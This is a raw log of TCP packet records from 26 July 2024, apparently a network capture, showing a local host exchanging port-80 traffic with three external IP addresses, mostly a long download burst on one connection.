Jul 26, 2024 08:57:50.864366055 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:50.870085001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:51.116996050 CEST	80	49753	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:51.117064953 CEST	49753	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:51.228410959 CEST	49753	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:51.228779078 CEST	49757	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:51.233726978 CEST	80	49757	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:51.233803034 CEST	49757	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:51.233818054 CEST	80	49753	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:51.233985901 CEST	49757	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:51.234121084 CEST	49753	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:51.238734961 CEST	80	49757	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:51.282711983 CEST	80	49755	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:51.494487047 CEST	80	49755	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:51.494554043 CEST	49755	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:51.868974924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:51.869039059 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:52.030714989 CEST	80	49757	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:52.032500982 CEST	49757	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:52.033219099 CEST	49757	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:52.038845062 CEST	80	49757	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:52.287641048 CEST	80	49757	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:52.287719965 CEST	49757	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:52.392204046 CEST	49757	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:52.392548084 CEST	49758	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:52.397479057 CEST	80	49758	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:52.398192883 CEST	80	49757	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:52.405574083 CEST	49757	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:52.405699015 CEST	49758	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:52.405910015 CEST	49758	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:52.410681009 CEST	80	49758	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:52.749270916 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:52.754216909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.936911106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.936949968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.936961889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.936975956 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:52.937087059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.937098026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.937108994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.937120914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.937138081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.937303066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.937314987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.937613010 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:52.937654972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.937701941 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:52.941888094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.942034960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.942578077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:52.944811106 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.027589083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.027633905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.027647972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.027786016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.027798891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.028002977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.028033018 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.028111935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.028125048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.028199911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.028213024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.028810024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.028856993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.028870106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.029330969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.029380083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.029391050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.029516935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.029530048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.030240059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.030307055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.030318022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.030404091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.030417919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.031055927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.037796021 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.038213968 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.121484041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.121511936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.121521950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.121658087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.121670008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.123119116 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.124744892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.124794006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.124805927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.124948978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.124959946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.125183105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.125231981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.125243902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.125322104 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.125873089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.125998974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.126049995 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.126127958 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.131968975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.131984949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.131999969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.132083893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.132184982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.135790110 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.135790110 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.140115023 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140144110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140156984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140288115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140299082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140526056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140624046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140635967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140719891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.140763044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.141302109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.141314030 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.141405106 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.141486883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.141498089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.141510010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.141521931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.142385960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.142398119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.142410040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.142421007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.142432928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143165112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143177032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143187046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143274069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143284082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143866062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143925905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143937111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.143958092 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.144017935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.144027948 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.144160032 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.152662992 CEST	80	49758	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:53.162264109 CEST	49758	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:53.165880919 CEST	49758	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:53.170948029 CEST	80	49758	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:53.210436106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.210474014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.210485935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.210561991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.210573912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.210586071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.211435080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.211447001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.211458921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.214241982 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.214241982 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.215255976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.215306044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.215318918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.215430021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.215442896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.215624094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.215651035 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.215667009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.215678930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.215678930 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.215708017 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.215729952 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.215747118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.216370106 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.222417116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.222471952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.222484112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.222625017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.222636938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.222647905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.224785089 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.224785089 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.228980064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229008913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229096889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229109049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229224920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229237080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229430914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229443073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229454994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229543924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.229556084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.231801033 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.231801987 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.238751888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.238785982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.238797903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.238930941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.238943100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.238954067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239063025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239155054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239167929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239177942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239190102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239201069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239680052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239893913 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.239919901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239936113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239983082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.239993095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.240005016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.240380049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.240427017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.240438938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.240509033 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.240550041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.240551949 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.240637064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.240650892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.240861893 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.241266012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.241317987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.241328001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.241835117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.241847038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.241858006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.242186069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.242237091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.242249966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.242800951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.242813110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.242824078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.243148088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.243160009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.243171930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.243184090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.243274927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.243288040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.243833065 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.244014025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.244070053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.244081020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.244158983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.244172096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.244286060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.244518995 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.244563103 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.303314924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303329945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303342104 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303353071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303364992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303450108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303461075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303473949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303484917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303495884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303507090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303683043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303740025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303843975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.303855896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.304143906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.304156065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.304444075 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.304502964 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.309406042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.309457064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.309565067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.309576035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.309669018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.309680939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.309691906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.309703112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310055017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310065985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310076952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310503960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310571909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310585022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310673952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310686111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.310697079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.312545061 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.312972069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313015938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313026905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313164949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313174963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313185930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313196898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313359022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313369989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313380957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313478947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313563108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313575029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.313910007 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.313981056 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.314044952 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.319583893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.319732904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.319746017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.319804907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.319817066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.319925070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.319947004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.320050001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.320064068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.320080996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.320091963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.320105076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.320393085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.320406914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.322438002 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.322592974 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.322613955 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.326749086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.326783895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.326795101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.326909065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.326920033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.326921940 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.326931953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.326945066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.327363968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.327409029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.327419043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.327517033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.327635050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.327646017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.327656984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.327692032 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.327759981 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.330476999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330509901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330521107 CEST	80	49756	85.28.47.31	192.168.2.7
